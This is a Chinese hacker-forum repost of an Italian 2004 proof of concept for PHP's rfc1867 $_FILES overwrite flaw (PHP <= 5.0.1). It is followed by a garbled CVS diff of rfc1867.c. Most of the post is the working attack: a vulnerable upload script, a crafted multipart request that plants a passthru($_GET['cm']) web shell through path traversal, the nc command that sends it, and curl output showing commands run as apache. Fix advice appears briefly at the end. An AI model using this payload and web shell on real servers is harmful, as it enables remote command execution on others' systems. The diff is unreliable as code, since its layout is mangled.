发新话题
打印

[转载]php最新任意文件上传漏洞利用方法

[转载]php最新任意文件上传漏洞利用方法

信息来源:华夏黑客同盟              作者:不祥

          Vulnerabilità PHP - Proof of Concept

Titolo:
Sovrascrittura dell'array $_FILE in relazione alla rfc1867 - Mime multipart/form-data File Upload.
Autore:
Stefano Di Paola
Vulnerabili:
Php <= 5.0.1
Non Vulnerabili:
Nessuno
Tipo di Vulnerabilità:
Possibile scrittura di un file "uploadato" in una directory arbitraria.
Risorse:
Pubblicato su Bugtraq e VulnWatch
Descrizione:
L&#39;implementazione sbagliata del parser degli array nel file rfc1867 potrebbe permettere
la sovrascrittura di alcuni elementi di $_FILES.


Creando, infatti, una richiesta ad hoc per l&#39;upload di un file codificata secondo le specifiche
"multipart/form-data file" è possibile bypassare assegnare all&#39;elemento &#39;name&#39; del vettore $_FILE
un valore arbitrario.
In particolare se nello script il nome dell&#39;elemento di riferimento per l&#39;upload contiene
una &#39;_&#39; (underscore) tipo "user_file", allora la vulnerabilità è una falla di sicurezza.
Utilizzando l&#39;esempio 34-2. Validating file uploads (cambiando &#39;userfile&#39; in &#39;user_file&#39;)
come spiegato in http://www.php.net/manual/en/features.file-upload.php :
-----file: upload.php------
<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
instead
// of $_FILES.

$uploaddir = &#39;/var/www/uploads/&#39;;
$uploadfile = $uploaddir . $_FILES[&#39;user_file&#39;][&#39;name&#39;];

print "<pre>";
if (is_uploaded_file($_FILES[&#39;user_file&#39;][&#39;tmp_name&#39;]) && move_uploaded_file($_FILES[&#39;user_file&#39;][&#39;tmp_name&#39;], $uploadfile)) {
   print "File is valid, and was successfully uploaded. ";
   print "Here&#39;s some more debugging info:\n";
   print_r($_FILES);
} else {
   print "Possible file upload attack!  Here&#39;s some debugging info:\n";
   print_r($_FILES);
}
print "</pre>";

?>
----end file: upload.php------
N.B La funzione php is_uploaded_file è stata aggiunta per dimostrare che questo controllo è bypassabile.

Supponiamo che /var/www/html/ sia scrivibile dall&#39;utente apache (o una qualunque altra directory nella radice di apache).
$: (cat form)|nc 127.0.0.1 80

<pre>
File is valid, and was successfully uploaded.
Here&#39;s some more debugging info:

Array(
      [user_file] =>Array(
                     [name] =>  ../html/passt.php
                     [tmp_name] => /tmp/phpucjLV1
                     [error] => 0
                     [size] => 30
                     [type] => application/octet-stream
                  )
      )
</pre>
Dove form è la seguente:

-----8<---form-------8<-----
POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php

<?
passthru($_GET[&#39;cm&#39;]);
?>

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream

<?
passthru($_GET[&#39;cm&#39;]);
?>


-----8<---endform----8<-----
Guardando da vicino la richiesta si può notare che il nome del file viene valorizzato da &#39;Content-Type: ../html/passt.php&#39; e non da filename=&#39;p.php&#39;
La seconda sezione è inserita solo per dare una parvenza di normalità permettendo al php di valorizzare anche l&#39;elemento &#39;type&#39;, ma è più un esercizio di stile che altro...
Verifichiamo che tutto sia andato a buon fine:

$: curl "127.0.0.1/passt.php?cm=id"
uid=72(apache) gid=72(apache) groups=72(apache)

Fatto?...Fatto!
Il Problema
Il problema è dovuto al fatto che, come si può vedere nella form, giocando con le parentesi quadre e aggiungendo in coda qualunque cosa tranne una &#39;]&#39;, si può fare in modo che vi sia un parsing sbagliato della variabile, risultando, in questo modo, un array diverso da quello atteso.
Non andrò troppo nello specifico dell&#39;errore nel codice, basti sapere che il problema sta nel fatto che il nome del parametro &#39;name&#39; nella richiesta, viene visto prima come una Stringa semplice (non array) e poi viene
&#39;riparsato&#39; dalla funzione php_register_varibles che la vede invece come un array, generando così una incongruenza
Questa incongruenza può essere sfruttata per riscrivere i valori degli elementi &#39;name&#39; e &#39;type&#39; diventando così una falla di sicurezza.

La Soluzione
La soluzione più semplice è scaricare e installare php 5.0.2 o 4.3.9 che sono state rilasciate da un paio di giorni.
Una soluzione alternativa è quella di controllare che $_FILES[][&#39;name&#39;] sia realmente solo un nome di file, per fare ciò basta usare qualcosa del genere:
$nomefile=basename($_FILES[][&#39;name&#39;]);


Firenze, Domenica 26 Settembre 2004

Un&#39;Idea sviluppata e mantenuta da...
Wisec is written and mantained by Stefano Di Paola.

Wisec usa standard aperti, inclusi XHTML, PHP e CSS2.

攻击力很强,仅供研究
一下是有问题的地方
cvs: php4 / rfc1867.c

[php.version4][Answer]

Subject: cvs: php4 / rfc1867.c
From: (Rasmus Lerdorf)
Newsgroups: php.version4
Date: Jun 04 2000 05:46:28

rasmus      Sat Jun  3 22:46:28 2000 EDT

Modified files:
/php4   rfc1867.c
Log:
@ Add support for both indexed and non-indexed arrays of file uploads
@ eg. name="file[]" type="file" (Rasmus)
Add support for both indexed and non-indexed arrays of file uploads
eg. name="file[]" type="file" (Rasmus)


Index: php4/rfc1867.c
diff -u php4/rfc1867.c:1.35 php4/rfc1867.c:1.36
--- php4/rfc1867.c:1.35   Thu May 18 08:34:21 2000
+++ php4/rfc1867.c   Sat Jun  3 22:46:28 2000
@@ -12,10 +12,10 @@
| obtain it through the world-wide-web, please send a note to       |
| license@php.net so we can mail you a copy immediately.          |
+----------------------------------------------------------------------+
-  | Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca>                |
+  | Authors: Rasmus Lerdorf <rasmus@php.net>                    |
+----------------------------------------------------------------------+
*/
-/* $Id: rfc1867.c,v 1.35 2000/05/18 15:34:21 zeev Exp $ */
+/* $Id: rfc1867.c,v 1.36 2000/06/04 05:46:28 rasmus Exp $ */

#include <stdio.h>
#include "php.h"
@@ -28,7 +28,7 @@


#define NEW_BOUNDARY_CHECK 1
-#define SAFE_RETURN
{
   if (namebuf) efree(namebuf); if (filenamebuf)
   efree(filenamebuf); if (lbuf) efree(lbuf); return;
}
+#define SAFE_RETURN
{
   if (namebuf) efree(namebuf); if (filenamebuf)
   efree(filenamebuf); if (lbuf) efree(lbuf); if (abuf) efree(abuf); if(arr_index)
   efree(arr_index); return;
}
/* The longest property name we use in an uploaded file array */
#define MAX_SIZE_OF_INDEX sizeof("[tmp_name]")
@@ -63,9 +63,10 @@
int len, state = 0, Done = 0, rem, urem;
int eolsize;
long bytes, max_file_size = 0;
-   char *namebuf=NULL, *filenamebuf=NULL, *lbuf=NULL;
+   char *namebuf=NULL, *filenamebuf=NULL, *lbuf=NULL,
+      *abuf=NULL, *start_arr=NULL, *end_arr=NULL, *arr_index=NULL;
FILE *fp;
-   int itype;
+   int itype, is_arr_upload=0, arr_len=0;
zval *http_post_files=NULL;
ELS_FETCH();
PLS_FETCH();
@@ -134,6 +135,19 @@
loc2 = memchr(loc + 1, &#39;\n&#39;, rem);
rem -= (loc2 - ptr) + 1;
ptr = loc2 + 1;
+              /* is_arr_upload is true when name of file upload field
+              * ends in [.*]
+              * start_arr is set to point to 1st [
+              * end_arr points to last ]
+              */
+              is_arr_upload = (start_arr = strrchr(namebuf,&#39;[&#39;)) &&
+                        (end_arr = strrchr(namebuf,&#39;]&#39;)) &&
+                        (end_arr = namebuf+strlen(namebuf)-1);
+              if(is_arr_upload)
{
   +                arr_len = strlen(start_arr);
   +                if(arr_index) efree(arr_index);
   +                arr_index = estrndup(start_arr+1,arr_len-1);
   +
}
}
else
{
   php_error(E_WARNING, "File upload error - no name component in content
   disposition");
   SAFE_RETURN;
   @@ -152,7 +166,15 @@
   filenamebuf = estrndup(filename, s-filename);

   /* Add $foo_name */
   -              sprintf(lbuf, "%s_name", namebuf);
   +              if (is_arr_upload)
   {
      +                if (abuf)
      {
        +                   efree(abuf);
        +
      }
      +                abuf = estrndup(namebuf, strlen(namebuf)-arr_len);
      +                sprintf(lbuf, "%s_name[%s]", abuf, arr_index);
      +
   }
   else
   {
      +                sprintf(lbuf, "%s_name", namebuf);
      +
   }
   s = strrchr(filenamebuf, &#39;\\&#39;);
   if (s && s > filenamebuf)
   {
      php_register_variable(lbuf, s+1, NULL ELS_CC PLS_CC);
      @@ -161,7 +183,11 @@
   }
   /* Add $foo[name] */
   -              sprintf(lbuf, "%s[name]", namebuf);
   +              if (is_arr_upload)
   {
      +                sprintf(lbuf, "%s[name][%s]", abuf, arr_index);
      +
   }
   else
   {
      +                sprintf(lbuf, "%s[name]", namebuf);
      +
   }
   if (s && s > filenamebuf)
   {
      register_http_post_files_variable(lbuf, s+1, http_post_files ELS_CC
      PLS_CC);
   }
   else
   {
      @@ -174,11 +200,19 @@
      *(loc2 - 1) = &#39;\0&#39;;

      /* Add $foo_type */
      -                   sprintf(lbuf, "%s_type", namebuf);
      +                   if (is_arr_upload)
      {
        +                      sprintf(lbuf, "%s_type[%s]", abuf, arr_index);
        +
      }
      else
      {
        +                      sprintf(lbuf, "%s_type", namebuf);
        +
      }
      php_register_variable(lbuf, loc+15, NULL ELS_CC PLS_CC);

      /* Add $foo[type] */
      -                   sprintf(lbuf, "%s[type]", namebuf);
      +                   if (is_arr_upload)
      {
        +                      sprintf(lbuf, "%s[type][%s]", abuf, arr_index);
        +
      }
      else
      {
        +                      sprintf(lbuf, "%s[type]", namebuf);
        +
      }
      register_http_post_files_variable(lbuf, loc+15, http_post_files ELS_CC
      PLS_CC);

      *(loc2 - 1) = &#39;\n&#39;;
      @@ -272,7 +306,11 @@
      php_register_variable(namebuf, fn, NULL ELS_CC PLS_CC);

      /* Add $foo[tmp_name] */
      -           sprintf(lbuf, "%s[tmp_name]", namebuf);
      +           if(is_arr_upload)
      {
        +              sprintf(lbuf, "%s[tmp_name][%s]", abuf, arr_index);
        +
      }
      else
      {
        +              sprintf(lbuf, "%s[tmp_name]", namebuf);
        +
      }
      register_http_post_files_variable(lbuf, fn, http_post_files ELS_CC PLS_CC);
      {
        zval file_size;
        @@ -281,11 +319,19 @@
        file_size.type = IS_LONG;

        /* Add $foo_size */
        -              sprintf(lbuf, "%s_size", namebuf);
        +              if(is_arr_upload)
        {
           +                sprintf(lbuf, "%s_size[%s]", abuf, arr_index);
           +
        }
        else
        {
           +                sprintf(lbuf, "%s_size", namebuf);
           +
        }
        php_register_variable_ex(lbuf, &file_size, NULL ELS_CC PLS_CC);

        /* Add $foo[size] */
        -              sprintf(lbuf, "%s[size]", namebuf);
        +              if(is_arr_upload)
        {
           +                sprintf(lbuf, "%s[size][%s]", abuf, arr_index);
           +
        }
        else
        {
           +                sprintf(lbuf, "%s[size]", namebuf);
           +
        }
        register_http_post_files_variable_ex(lbuf, &file_size, http_post_files
        ELS_CC PLS_CC);
      }
      state = 0;
---
益友网吧联盟  http://www.96-7.com

TOP

发新话题